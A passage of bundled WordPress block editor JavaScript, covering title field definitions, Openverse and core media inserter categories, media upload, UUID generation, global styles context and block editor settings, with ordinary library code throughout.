7317 placeholder: (0,external_wp_i18n_namespaceObject.__)("No title"),
7318 id: "title",
7319 getValue: ({ item }) => getItemTitle(item),
7320 render: TitleView,
7321 enableHiding: false,
7322 enableGlobalSearch: true,
7323 filterBy: false
7324};
7325var template_title_default = templateTitleField;
7326
7327
7328;// ./node_modules/@wordpress/icons/build-module/icon/index.js
7329
7330var icon_default = (0,external_wp_element_namespaceObject.forwardRef)(
7331 ({ icon, size = 24, ...props }, ref) => {
7332 return (0,external_wp_element_namespaceObject.cloneElement)(icon, {
7333 width: size,
7334 height: size,
7335 ...props,
7336 ref
7337 });
7338 }
7339);
7340
7341
7342;// ./node_modules/@wordpress/icons/build-module/library/lock-small.js
7343
7344
7345var lock_small_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7346 external_wp_primitives_namespaceObject.Path,
7347 {
7348 fillRule: "evenodd",
7349 clipRule: "evenodd",
7350 d: "M15 11h-.2V9c0-1.5-1.2-2.8-2.8-2.8S9.2 7.5 9.2 9v2H9c-.6 0-1 .4-1 1v4c0 .6.4 1 1 1h6c.6 0 1-.4 1-1v-4c0-.6-.4-1-1-1zm-1.8 0h-2.5V9c0-.7.6-1.2 1.2-1.2s1.2.6 1.2 1.2v2z"
7351 }
7352) });
7353
7354
7355;// ./node_modules/@wordpress/fields/build-module/fields/pattern-title/view.js
7356
7357
7358
7359
7360
7361
7362
7363const { PATTERN_TYPES: view_PATTERN_TYPES } = lock_unlock_unlock(external_wp_patterns_namespaceObject.privateApis);
7364function PatternTitleView({ item }) {
7365 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BaseTitleView, { item, className: "fields-field__pattern-title", children: item.type === view_PATTERN_TYPES.theme && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7366 external_wp_components_namespaceObject.Tooltip,
7367 {
7368 placement: "top",
7369 text: (0,external_wp_i18n_namespaceObject.__)("This pattern cannot be edited."),
7370 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(icon_default, { icon: lock_small_default, size: 24 })
7371 }
7372 ) });
7373}
7374
7375
7376;// ./node_modules/@wordpress/fields/build-module/fields/pattern-title/index.js
7377
7378
7379
7380const patternTitleField = {
7381 type: "text",
7382 id: "title",
7383 label: (0,external_wp_i18n_namespaceObject.__)("Title"),
7384 placeholder: (0,external_wp_i18n_namespaceObject.__)("No title"),
7385 getValue: ({ item }) => getItemTitle(item),
7386 render: PatternTitleView,
7387 enableHiding: false,
7388 enableGlobalSearch: true,
7389 filterBy: false
7390};
7391var pattern_title_default = patternTitleField;
7392
7393
7394;// ./node_modules/@wordpress/fields/build-module/fields/title/index.js
7395
7396
7397
7398const titleField = {
7399 type: "text",
7400 id: "title",
7401 label: (0,external_wp_i18n_namespaceObject.__)("Title"),
7402 placeholder: (0,external_wp_i18n_namespaceObject.__)("No title"),
7403 getValue: ({ item }) => getItemTitle(item),
7404 render: TitleView,
7405 enableHiding: true,
7406 enableGlobalSearch: true,
7407 filterBy: false
7408};
7409var title_default = titleField;
7410
7411
7412;// ./node_modules/@wordpress/editor/build-module/components/provider/with-registry-provider.js
7413
7414
7415
7416
7417
7418
7419function getSubRegistry(subRegistries, registry, useSubRegistry) {
7420 if (!useSubRegistry) {
7421 return registry;
7422 }
7423 let subRegistry = subRegistries.get(registry);
7424 if (!subRegistry) {
7425 subRegistry = (0,external_wp_data_namespaceObject.createRegistry)(
7426 {
7427 "core/block-editor": external_wp_blockEditor_namespaceObject.storeConfig
7428 },
7429 registry
7430 );
7431 subRegistry.registerStore("core/editor", storeConfig);
7432 subRegistries.set(registry, subRegistry);
7433 }
7434 return subRegistry;
7435}
7436const withRegistryProvider = (0,external_wp_compose_namespaceObject.createHigherOrderComponent)(
7437 (WrappedComponent) => ({ useSubRegistry = true, ...props }) => {
7438 const registry = (0,external_wp_data_namespaceObject.useRegistry)();
7439 const [subRegistries] = (0,external_wp_element_namespaceObject.useState)(() => /* @__PURE__ */ new WeakMap());
7440 const subRegistry = getSubRegistry(
7441 subRegistries,
7442 registry,
7443 useSubRegistry
7444 );
7445 if (subRegistry === registry) {
7446 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(WrappedComponent, { registry, ...props });
7447 }
7448 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_data_namespaceObject.RegistryProvider, { value: subRegistry, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(WrappedComponent, { registry: subRegistry, ...props }) });
7449 },
7450 "withRegistryProvider"
7451);
7452var with_registry_provider_default = withRegistryProvider;
7453
7454
7455;// ./node_modules/@wordpress/editor/build-module/components/media-categories/index.js
7456
7457
7458
7459
7460const getExternalLink = (url, text) => `<a ${getExternalLinkAttributes(url)}>${text}</a>`;
7461const getExternalLinkAttributes = (url) => `href="${url}" target="_blank" rel="noreferrer noopener"`;
7462const getOpenverseLicense = (license, licenseVersion) => {
7463 let licenseName = license.trim();
7464 if (license !== "pdm") {
7465 licenseName = license.toUpperCase().replace("SAMPLING", "Sampling");
7466 }
7467 if (licenseVersion) {
7468 licenseName += ` ${licenseVersion}`;
7469 }
7470 if (!["pdm", "cc0"].includes(license)) {
7471 licenseName = `CC ${licenseName}`;
7472 }
7473 return licenseName;
7474};
7475const getOpenverseCaption = (item) => {
7476 const {
7477 title,
7478 foreign_landing_url: foreignLandingUrl,
7479 creator,
7480 creator_url: creatorUrl,
7481 license,
7482 license_version: licenseVersion,
7483 license_url: licenseUrl
7484 } = item;
7485 const fullLicense = getOpenverseLicense(license, licenseVersion);
7486 const _creator = (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(creator);
7487 let _caption;
7488 if (_creator) {
7489 _caption = title ? (0,external_wp_i18n_namespaceObject.sprintf)(
7490 // translators: %1s: Title of a media work from Openverse; %2$s: Name of the work's creator; %3s: Work's licence e.g: "CC0 1.0".
7491 (0,external_wp_i18n_namespaceObject._x)('"%1$s" by %2$s/ %3$s', "caption"),
7492 getExternalLink(
7493 foreignLandingUrl,
7494 (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title)
7495 ),
7496 creatorUrl ? getExternalLink(creatorUrl, _creator) : _creator,
7497 licenseUrl ? getExternalLink(
7498 `${licenseUrl}?ref=openverse`,
7499 fullLicense
7500 ) : fullLicense
7501 ) : (0,external_wp_i18n_namespaceObject.sprintf)(
7502 // translators: %1s: Link attributes for a given Openverse media work; %2s: Name of the work's creator; %3s: Works's licence e.g: "CC0 1.0".
7503 (0,external_wp_i18n_namespaceObject._x)("<a %1$s>Work</a> by %2$s/ %3$s", "caption"),
7504 getExternalLinkAttributes(foreignLandingUrl),
7505 creatorUrl ? getExternalLink(creatorUrl, _creator) : _creator,
7506 licenseUrl ? getExternalLink(
7507 `${licenseUrl}?ref=openverse`,
7508 fullLicense
7509 ) : fullLicense
7510 );
7511 } else {
7512 _caption = title ? (0,external_wp_i18n_namespaceObject.sprintf)(
7513 // translators: %1s: Title of a media work from Openverse; %2s: Work's licence e.g: "CC0 1.0".
7514 (0,external_wp_i18n_namespaceObject._x)('"%1$s"/ %2$s', "caption"),
7515 getExternalLink(
7516 foreignLandingUrl,
7517 (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title)
7518 ),
7519 licenseUrl ? getExternalLink(
7520 `${licenseUrl}?ref=openverse`,
7521 fullLicense
7522 ) : fullLicense
7523 ) : (0,external_wp_i18n_namespaceObject.sprintf)(
7524 // translators: %1s: Link attributes for a given Openverse media work; %2s: Works's licence e.g: "CC0 1.0".
7525 (0,external_wp_i18n_namespaceObject._x)("<a %1$s>Work</a>/ %2$s", "caption"),
7526 getExternalLinkAttributes(foreignLandingUrl),
7527 licenseUrl ? getExternalLink(
7528 `${licenseUrl}?ref=openverse`,
7529 fullLicense
7530 ) : fullLicense
7531 );
7532 }
7533 return _caption.replace(/\s{2}/g, " ");
7534};
7535const coreMediaFetch = async (query = {}) => {
7536 const mediaItems = await (0,external_wp_data_namespaceObject.resolveSelect)(external_wp_coreData_namespaceObject.store).getEntityRecords(
7537 "postType",
7538 "attachment",
7539 {
7540 ...query,
7541 orderBy: !!query?.search ? "relevance" : "date"
7542 }
7543 );
7544 return mediaItems.map((mediaItem) => ({
7545 ...mediaItem,
7546 alt: mediaItem.alt_text,
7547 url: mediaItem.source_url,
7548 previewUrl: mediaItem.media_details?.sizes?.medium?.source_url,
7549 caption: mediaItem.caption?.raw
7550 }));
7551};
7552const inserterMediaCategories = [
7553 {
7554 name: "images",
7555 labels: {
7556 name: (0,external_wp_i18n_namespaceObject.__)("Images"),
7557 search_items: (0,external_wp_i18n_namespaceObject.__)("Search images")
7558 },
7559 mediaType: "image",
7560 async fetch(query = {}) {
7561 return coreMediaFetch({ ...query, media_type: "image" });
7562 }
7563 },
7564 {
7565 name: "videos",
7566 labels: {
7567 name: (0,external_wp_i18n_namespaceObject.__)("Videos"),
7568 search_items: (0,external_wp_i18n_namespaceObject.__)("Search videos")
7569 },
7570 mediaType: "video",
7571 async fetch(query = {}) {
7572 return coreMediaFetch({ ...query, media_type: "video" });
7573 }
7574 },
7575 {
7576 name: "audio",
7577 labels: {
7578 name: (0,external_wp_i18n_namespaceObject.__)("Audio"),
7579 search_items: (0,external_wp_i18n_namespaceObject.__)("Search audio")
7580 },
7581 mediaType: "audio",
7582 async fetch(query = {}) {
7583 return coreMediaFetch({ ...query, media_type: "audio" });
7584 }
7585 },
7586 {
7587 name: "openverse",
7588 labels: {
7589 name: (0,external_wp_i18n_namespaceObject.__)("Openverse"),
7590 search_items: (0,external_wp_i18n_namespaceObject.__)("Search Openverse")
7591 },
7592 mediaType: "image",
7593 async fetch(query = {}) {
7594 const defaultArgs = {
7595 mature: false,
7596 excluded_source: "flickr,inaturalist,wikimedia",
7597 license: "pdm,cc0"
7598 };
7599 const finalQuery = { ...query, ...defaultArgs };
7600 const mapFromInserterMediaRequest = {
7601 per_page: "page_size",
7602 search: "q"
7603 };
7604 const url = new URL("https://api.openverse.org/v1/images/");
7605 Object.entries(finalQuery).forEach(([key, value]) => {
7606 const queryKey = mapFromInserterMediaRequest[key] || key;
7607 url.searchParams.set(queryKey, value);
7608 });
7609 const response = await window.fetch(url, {
7610 headers: {
7611 "User-Agent": "WordPress/inserter-media-fetch"
7612 }
7613 });
7614 const jsonResponse = await response.json();
7615 const results = jsonResponse.results;
7616 return results.map((result) => ({
7617 ...result,
7618 // This is a temp solution for better titles, until Openverse API
7619 // completes the cleaning up of some titles of their upstream data.
7620 title: result.title?.toLowerCase().startsWith("file:") ? result.title.slice(5) : result.title,
7621 sourceId: result.id,
7622 id: void 0,
7623 caption: getOpenverseCaption(result),
7624 previewUrl: result.thumbnail
7625 }));
7626 },
7627 getReportUrl: ({ sourceId }) => `https://wordpress.org/openverse/image/${sourceId}/report/`,
7628 isExternalResource: true
7629 }
7630];
7631var media_categories_default = inserterMediaCategories;
7632
7633
7634;// ./node_modules/@wordpress/editor/node_modules/uuid/dist/esm-browser/native.js
7635const randomUUID = typeof crypto !== 'undefined' && crypto.randomUUID && crypto.randomUUID.bind(crypto);
7636/* harmony default export */ const esm_browser_native = ({
7637 randomUUID
7638});
7639;// ./node_modules/@wordpress/editor/node_modules/uuid/dist/esm-browser/rng.js
7640// Unique ID creation requires a high quality random # generator. In the browser we therefore
7641// require the crypto API and do not support built-in fallback to lower quality random number
7642// generators (like Math.random()).
7643let getRandomValues;
7644const rnds8 = new Uint8Array(16);
7645function rng() {
7646 // lazy load so that environments that need to polyfill have a chance to do so
7647 if (!getRandomValues) {
7648 // getRandomValues needs to be invoked in a context where "this" is a Crypto implementation.
7649 getRandomValues = typeof crypto !== 'undefined' && crypto.getRandomValues && crypto.getRandomValues.bind(crypto);
7650
7651 if (!getRandomValues) {
7652 throw new Error('crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported');
7653 }
7654 }
7655
7656 return getRandomValues(rnds8);
7657}
7658;// ./node_modules/@wordpress/editor/node_modules/uuid/dist/esm-browser/stringify.js
7659
7660/**
7661 * Convert array of 16 byte values to UUID string format of the form:
7662 * XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX
7663 */
7664
7665const byteToHex = [];
7666
7667for (let i = 0; i < 256; ++i) {
7668 byteToHex.push((i + 0x100).toString(16).slice(1));
7669}
7670
7671function unsafeStringify(arr, offset = 0) {
7672 // Note: Be careful editing this code! It's been tuned for performance
7673 // and works in ways you may not expect. See https://github.com/uuidjs/uuid/pull/434
7674 return byteToHex[arr[offset + 0]] + byteToHex[arr[offset + 1]] + byteToHex[arr[offset + 2]] + byteToHex[arr[offset + 3]] + '-' + byteToHex[arr[offset + 4]] + byteToHex[arr[offset + 5]] + '-' + byteToHex[arr[offset + 6]] + byteToHex[arr[offset + 7]] + '-' + byteToHex[arr[offset + 8]] + byteToHex[arr[offset + 9]] + '-' + byteToHex[arr[offset + 10]] + byteToHex[arr[offset + 11]] + byteToHex[arr[offset + 12]] + byteToHex[arr[offset + 13]] + byteToHex[arr[offset + 14]] + byteToHex[arr[offset + 15]];
7675}
7676
7677function stringify(arr, offset = 0) {
7678 const uuid = unsafeStringify(arr, offset); // Consistency check for valid UUID. If this throws, it's likely due to one
7679 // of the following:
7680 // - One or more input array values don't map to a hex octet (leading to
7681 // "undefined" in the uuid)
7682 // - Invalid input values for the RFC `version` or `variant` fields
7683
7684 if (!validate(uuid)) {
7685 throw TypeError('Stringified UUID is invalid');
7686 }
7687
7688 return uuid;
7689}
7690
7691/* harmony default export */ const esm_browser_stringify = ((/* unused pure expression or super */ null && (stringify)));
7692;// ./node_modules/@wordpress/editor/node_modules/uuid/dist/esm-browser/v4.js
7693
7694
7695
7696
7697function v4(options, buf, offset) {
7698 if (esm_browser_native.randomUUID && !buf && !options) {
7699 return esm_browser_native.randomUUID();
7700 }
7701
7702 options = options || {};
7703 const rnds = options.random || (options.rng || rng)(); // Per 4.4, set bits for version and `clock_seq_hi_and_reserved`
7704
7705 rnds[6] = rnds[6] & 0x0f | 0x40;
7706 rnds[8] = rnds[8] & 0x3f | 0x80; // Copy bytes to buffer, if provided
7707
7708 if (buf) {
7709 offset = offset || 0;
7710
7711 for (let i = 0; i < 16; ++i) {
7712 buf[offset + i] = rnds[i];
7713 }
7714
7715 return buf;
7716 }
7717
7718 return unsafeStringify(rnds);
7719}
7720
7721/* harmony default export */ const esm_browser_v4 = (v4);
7722;// ./node_modules/@wordpress/editor/build-module/utils/media-upload/index.js
7723
7724
7725
7726
7727
7728const noop = () => {
7729};
7730function mediaUpload({
7731 additionalData = {},
7732 allowedTypes,
7733 filesList,
7734 maxUploadFileSize,
7735 onError = noop,
7736 onFileChange,
7737 onSuccess,
7738 multiple = true
7739}) {
7740 const { receiveEntityRecords } = (0,external_wp_data_namespaceObject.dispatch)(external_wp_coreData_namespaceObject.store);
7741 const { getCurrentPost, getEditorSettings } = (0,external_wp_data_namespaceObject.select)(store_store);
7742 const {
7743 lockPostAutosaving,
7744 unlockPostAutosaving,
7745 lockPostSaving,
7746 unlockPostSaving
7747 } = (0,external_wp_data_namespaceObject.dispatch)(store_store);
7748 const wpAllowedMimeTypes = getEditorSettings().allowedMimeTypes;
7749 const lockKey = `image-upload-${esm_browser_v4()}`;
7750 let imageIsUploading = false;
7751 maxUploadFileSize = maxUploadFileSize || getEditorSettings().maxUploadFileSize;
7752 const currentPost = getCurrentPost();
7753 const currentPostId = typeof currentPost?.id === "number" ? currentPost.id : currentPost?.wp_id;
7754 const setSaveLock = () => {
7755 lockPostSaving(lockKey);
7756 lockPostAutosaving(lockKey);
7757 imageIsUploading = true;
7758 };
7759 const postData = currentPostId ? { post: currentPostId } : {};
7760 const clearSaveLock = () => {
7761 unlockPostSaving(lockKey);
7762 unlockPostAutosaving(lockKey);
7763 imageIsUploading = false;
7764 };
7765 (0,external_wp_mediaUtils_namespaceObject.uploadMedia)({
7766 allowedTypes,
7767 filesList,
7768 onFileChange: (file) => {
7769 if (!imageIsUploading) {
7770 setSaveLock();
7771 } else {
7772 clearSaveLock();
7773 }
7774 onFileChange?.(file);
7775 const entityFiles = file.filter((_file) => _file?.id);
7776 if (entityFiles?.length) {
7777 const invalidateCache = true;
7778 receiveEntityRecords(
7779 "postType",
7780 "attachment",
7781 entityFiles,
7782 void 0,
7783 invalidateCache
7784 );
7785 }
7786 },
7787 onSuccess,
7788 additionalData: {
7789 ...postData,
7790 ...additionalData
7791 },
7792 maxUploadFileSize,
7793 onError: ({ message }) => {
7794 clearSaveLock();
7795 onError(message);
7796 },
7797 wpAllowedMimeTypes,
7798 multiple
7799 });
7800}
7801
7802
7803;// ./node_modules/@wordpress/editor/build-module/utils/media-sideload/index.js
7804
7805
7806const { sideloadMedia: mediaSideload } = unlock(external_wp_mediaUtils_namespaceObject.privateApis);
7807var media_sideload_default = mediaSideload;
7808
7809
7810// EXTERNAL MODULE: ./node_modules/deepmerge/dist/cjs.js
7811var cjs = __webpack_require__(66);
7812var cjs_default = /*#__PURE__*/__webpack_require__.n(cjs);
7813;// ./node_modules/is-plain-object/dist/is-plain-object.mjs
7814/*!
7815 * is-plain-object <https://github.com/jonschlinkert/is-plain-object>
7816 *
7817 * Copyright (c) 2014-2017, Jon Schlinkert.
7818 * Released under the MIT License.
7819 */
7820
7821function isObject(o) {
7822 return Object.prototype.toString.call(o) === '[object Object]';
7823}
7824
7825function isPlainObject(o) {
7826 var ctor,prot;
7827
7828 if (isObject(o) === false) return false;
7829
7830 // If has modified constructor
7831 ctor = o.constructor;
7832 if (ctor === undefined) return true;
7833
7834 // If has modified prototype
7835 prot = ctor.prototype;
7836 if (isObject(prot) === false) return false;
7837
7838 // If constructor does not have an Object-specific method
7839 if (prot.hasOwnProperty('isPrototypeOf') === false) {
7840 return false;
7841 }
7842
7843 // Most likely a plain Object
7844 return true;
7845}
7846
7847
7848
7849;// ./node_modules/@wordpress/editor/build-module/components/global-styles-provider/index.js
7850
7851
7852
7853
7854
7855
7856
7857
7858const { GlobalStylesContext, cleanEmptyObject } = unlock(
7859 external_wp_blockEditor_namespaceObject.privateApis
7860);
7861function mergeBaseAndUserConfigs(base, user) {
7862 return cjs_default()(base, user, {
7863 /*
7864 * We only pass as arrays the presets,
7865 * in which case we want the new array of values
7866 * to override the old array (no merging).
7867 */
7868 isMergeableObject: isPlainObject,
7869 /*
7870 * Exceptions to the above rule.
7871 * Background images should be replaced, not merged,
7872 * as they themselves are specific object definitions for the style.
7873 */
7874 customMerge: (key) => {
7875 if (key === "backgroundImage") {
7876 return (baseConfig, userConfig) => userConfig;
7877 }
7878 return void 0;
7879 }
7880 });
7881}
7882function useGlobalStylesUserConfig() {
7883 const { globalStylesId, isReady, settings, styles, _links } = (0,external_wp_data_namespaceObject.useSelect)(
7884 (select) => {
7885 const {
7886 getEntityRecord,
7887 getEditedEntityRecord: getEditedEntityRecord2,
7888 hasFinishedResolution,
7889 canUser
7890 } = select(external_wp_coreData_namespaceObject.store);
7891 const _globalStylesId = select(external_wp_coreData_namespaceObject.store).__experimentalGetCurrentGlobalStylesId();
7892 let record;
7893 const userCanEditGlobalStyles = _globalStylesId ? canUser("update", {
7894 kind: "root",
7895 name: "globalStyles",
7896 id: _globalStylesId
7897 }) : null;
7898 if (_globalStylesId && /*
7899 * Test that the OPTIONS request for user capabilities is complete
7900 * before fetching the global styles entity record.
7901 * This is to avoid fetching the global styles entity unnecessarily.
7902 */
7903 typeof userCanEditGlobalStyles === "boolean") {
7904 if (userCanEditGlobalStyles) {
7905 record = getEditedEntityRecord2(
7906 "root",
7907 "globalStyles",
7908 _globalStylesId
7909 );
7910 } else {
7911 record = getEntityRecord(
7912 "root",
7913 "globalStyles",
7914 _globalStylesId,
7915 { context: "view" }
7916 );
7917 }
7918 }
7919 let hasResolved = false;
7920 if (hasFinishedResolution(
7921 "__experimentalGetCurrentGlobalStylesId"
7922 )) {
7923 if (_globalStylesId) {
7924 hasResolved = userCanEditGlobalStyles ? hasFinishedResolution("getEditedEntityRecord", [
7925 "root",
7926 "globalStyles",
7927 _globalStylesId
7928 ]) : hasFinishedResolution("getEntityRecord", [
7929 "root",
7930 "globalStyles",
7931 _globalStylesId,
7932 { context: "view" }
7933 ]);
7934 } else {
7935 hasResolved = true;
7936 }
7937 }
7938 return {
7939 globalStylesId: _globalStylesId,
7940 isReady: hasResolved,
7941 settings: record?.settings,
7942 styles: record?.styles,
7943 _links: record?._links
7944 };
7945 },
7946 []
7947 );
7948 const { getEditedEntityRecord } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_coreData_namespaceObject.store);
7949 const { editEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
7950 const config = (0,external_wp_element_namespaceObject.useMemo)(() => {
7951 return {
7952 settings: settings ?? {},
7953 styles: styles ?? {},
7954 _links: _links ?? {}
7955 };
7956 }, [settings, styles, _links]);
7957 const setConfig = (0,external_wp_element_namespaceObject.useCallback)(
7958 /**
7959 * Set the global styles config.
7960 * @param {Function|Object} callbackOrObject If the callbackOrObject is a function, pass the current config to the callback so the consumer can merge values.
7961 * Otherwise, overwrite the current config with the incoming object.
7962 * @param {Object} options Options for editEntityRecord Core selector.
7963 */
7964 (callbackOrObject, options = {}) => {
7965 const record = getEditedEntityRecord(
7966 "root",
7967 "globalStyles",
7968 globalStylesId
7969 );
7970 const currentConfig = {
7971 styles: record?.styles ?? {},
7972 settings: record?.settings ?? {},
7973 _links: record?._links ?? {}
7974 };
7975 const updatedConfig = typeof callbackOrObject === "function" ? callbackOrObject(currentConfig) : callbackOrObject;
7976 editEntityRecord(
7977 "root",
7978 "globalStyles",
7979 globalStylesId,
7980 {
7981 styles: cleanEmptyObject(updatedConfig.styles) || {},
7982 settings: cleanEmptyObject(updatedConfig.settings) || {},
7983 _links: cleanEmptyObject(updatedConfig._links) || {}
7984 },
7985 options
7986 );
7987 },
7988 [globalStylesId, editEntityRecord, getEditedEntityRecord]
7989 );
7990 return [isReady, config, setConfig];
7991}
7992function useGlobalStylesBaseConfig() {
7993 const baseConfig = (0,external_wp_data_namespaceObject.useSelect)(
7994 (select) => select(external_wp_coreData_namespaceObject.store).__experimentalGetCurrentThemeBaseGlobalStyles(),
7995 []
7996 );
7997 return [!!baseConfig, baseConfig];
7998}
7999function useGlobalStylesContext() {
8000 const [isUserConfigReady, userConfig, setUserConfig] = useGlobalStylesUserConfig();
8001 const [isBaseConfigReady, baseConfig] = useGlobalStylesBaseConfig();
8002 const mergedConfig = (0,external_wp_element_namespaceObject.useMemo)(() => {
8003 if (!baseConfig || !userConfig) {
8004 return {};
8005 }
8006 return mergeBaseAndUserConfigs(baseConfig, userConfig);
8007 }, [userConfig, baseConfig]);
8008 const context = (0,external_wp_element_namespaceObject.useMemo)(() => {
8009 return {
8010 isReady: isUserConfigReady && isBaseConfigReady,
8011 user: userConfig,
8012 base: baseConfig,
8013 merged: mergedConfig,
8014 setUserConfig
8015 };
8016 }, [
8017 mergedConfig,
8018 userConfig,
8019 baseConfig,
8020 setUserConfig,
8021 isUserConfigReady,
8022 isBaseConfigReady
8023 ]);
8024 return context;
8025}
8026function GlobalStylesProvider({ children }) {
8027 const context = useGlobalStylesContext();
8028 if (!context.isReady) {
8029 return null;
8030 }
8031 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesContext.Provider, { value: context, children });
8032}
8033
8034
8035;// ./node_modules/@wordpress/editor/build-module/components/provider/use-block-editor-settings.js
8036
8037
8038
8039
8040
8041
8042
8043
8044
8045
8046
8047
8048
8049
8050const use_block_editor_settings_EMPTY_OBJECT = {};
8051function __experimentalReusableBlocksSelect(select) {
8052 const { RECEIVE_INTERMEDIATE_RESULTS } = unlock(external_wp_coreData_namespaceObject.privateApis);
8053 const { getEntityRecords } = select(external_wp_coreData_namespaceObject.store);
8054 return getEntityRecords("postType", "wp_block", {
8055 per_page: -1,
8056 [RECEIVE_INTERMEDIATE_RESULTS]: true
8057 });
8058}
8059const BLOCK_EDITOR_SETTINGS = [
8060 "__experimentalBlockBindingsSupportedAttributes",
8061 "__experimentalBlockDirectory",
8062 "__experimentalDiscussionSettings",
8063 "__experimentalFeatures",
8064 "__experimentalGlobalStylesBaseStyles",
8065 "alignWide",
8066 "blockInspectorTabs",
8067 "maxUploadFileSize",
8068 "allowedMimeTypes",
8069 "bodyPlaceholder",
8070 "canLockBlocks",
8071 "canUpdateBlockBindings",
8072 "capabilities",
8073 "clearBlockSelection",
8074 "codeEditingEnabled",
8075 "colors",
8076 "disableCustomColors",
8077 "disableCustomFontSizes",
8078 "disableCustomSpacingSizes",
8079 "disableCustomGradients",
8080 "disableLayoutStyles",
8081 "enableCustomLineHeight",
8082 "enableCustomSpacing",
8083 "enableCustomUnits",
8084 "enableOpenverseMediaCategory",
8085 "fontSizes",
8086 "gradients",
8087 "generateAnchors",
8088 "onNavigateToEntityRecord",
8089 "imageDefaultSize",
8090 "imageDimensions",
8091 "imageEditing",
8092 "imageSizes",
8093 "isPreviewMode",
8094 "isRTL",
8095 "locale",
8096 "maxWidth",
8097 "postContentAttributes",
8098 "postsPerPage",
8099 "readOnly",
8100 "styles",
8101 "titlePlaceholder",
8102 "supportsLayout",
8103 "widgetTypesToHideFromLegacyWidgetBlock",
8104 "__unstableHasCustomAppender",
8105 "__unstableResolvedAssets",
8106 "__unstableIsBlockBasedTheme"
8107];
8108const {
8109 globalStylesDataKey,
8110 globalStylesLinksDataKey,
8111 selectBlockPatternsKey,
8112 reusableBlocksSelectKey,
8113 sectionRootClientIdKey,
8114 mediaEditKey
8115} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
8116function useBlockEditorSettings(settings, postType, postId, renderingMode) {
8117 const isLargeViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium");
8118 const {
8119 allowRightClickOverrides,
8120 blockTypes,
8121 focusMode,
8122 hasFixedToolbar,
8123 isDistractionFree,
8124 keepCaretInsideBlock,
8125 hasUploadPermissions,
8126 hiddenBlockTypes,
8127 canUseUnfilteredHTML,
8128 userCanCreatePages,
8129 pageOnFront,
8130 pageForPosts,
8131 userPatternCategories,
8132 restBlockPatternCategories,
8133 sectionRootClientId
8134 } = (0,external_wp_data_namespaceObject.useSelect)(
8135 (select) => {
8136 const {
8137 canUser,
8138 getRawEntityRecord,
8139 getEntityRecord,
8140 getUserPatternCategories,
8141 getBlockPatternCategories
8142 } = select(external_wp_coreData_namespaceObject.store);
8143 const { get } = select(external_wp_preferences_namespaceObject.store);
8144 const { getBlockTypes } = select(external_wp_blocks_namespaceObject.store);
8145 const { getBlocksByName, getBlockAttributes } = select(external_wp_blockEditor_namespaceObject.store);
8146 const siteSettings = canUser("read", {
8147 kind: "root",
8148 name: "site"
8149 }) ? getEntityRecord("root", "site") : void 0;
8150 function getSectionRootBlock() {
8151 if (renderingMode === "template-locked") {
8152 return getBlocksByName("core/post-content")?.[0] ?? "";
8153 }
8154 return getBlocksByName("core/group").find(
8155 (clientId) => getBlockAttributes(clientId)?.tagName === "main"
8156 ) ?? "";
8157 }
8158 return {
8159 allowRightClickOverrides: get(
8160 "core",
8161 "allowRightClickOverrides"
8162 ),
8163 blockTypes: getBlockTypes(),
8164 canUseUnfilteredHTML: getRawEntityRecord(
8165 "postType",
8166 postType,
8167 postId
8168 )?._links?.hasOwnProperty("wp:action-unfiltered-html"),
8169 focusMode: get("core", "focusMode"),
8170 hasFixedToolbar: get("core", "fixedToolbar") || !isLargeViewport,
8171 hiddenBlockTypes: get("core", "hiddenBlockTypes"),
8172 isDistractionFree: get("core", "distractionFree"),
8173 keepCaretInsideBlock: get("core", "keepCaretInsideBlock"),
8174 hasUploadPermissions: canUser("create", {
8175 kind: "postType",
8176 name: "attachment"
8177 }) ?? true,
8178 userCanCreatePages: canUser("create", {
8179 kind: "postType",
8180 name: "page"
8181 }),
8182 pageOnFront: siteSettings?.page_on_front,
8183 pageForPosts: siteSettings?.page_for_posts,
8184 userPatternCategories: getUserPatternCategories(),
8185 restBlockPatternCategories: getBlockPatternCategories(),
8186 sectionRootClientId: getSectionRootBlock()
8187 };
8188 },
8189 [postType, postId, isLargeViewport, renderingMode]
8190 );
8191 const { merged: mergedGlobalStyles } = useGlobalStylesContext();
8192 const globalStylesData = mergedGlobalStyles.styles ?? use_block_editor_settings_EMPTY_OBJECT;
8193 const globalStylesLinksData = mergedGlobalStyles._links ?? use_block_editor_settings_EMPTY_OBJECT;
8194 const settingsBlockPatterns = settings.__experimentalAdditionalBlockPatterns ?? // WP 6.0
8195 settings.__experimentalBlockPatterns;
8196 const settingsBlockPatternCategories = settings.__experimentalAdditionalBlockPatternCategories ?? // WP 6.0
8197 settings.__experimentalBlockPatternCategories;
8198 const blockPatterns = (0,external_wp_element_namespaceObject.useMemo)(
8199 () => [...settingsBlockPatterns || []].filter(
8200 ({ postTypes }) => {
8201 return !postTypes || Array.isArray(postTypes) && postTypes.includes(postType);
8202 }
8203 ),
8204 [settingsBlockPatterns, postType]
8205 );
8206 const blockPatternCategories = (0,external_wp_element_namespaceObject.useMemo)(
8207 () => [
8208 ...settingsBlockPatternCategories || [],
8209 ...restBlockPatternCategories || []
8210 ].filter(
8211 (x, index, arr) => index === arr.findIndex((y) => x.name === y.name)
8212 ),
8213 [settingsBlockPatternCategories, restBlockPatternCategories]
8214 );
8215 const { undo, setIsInserterOpened } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
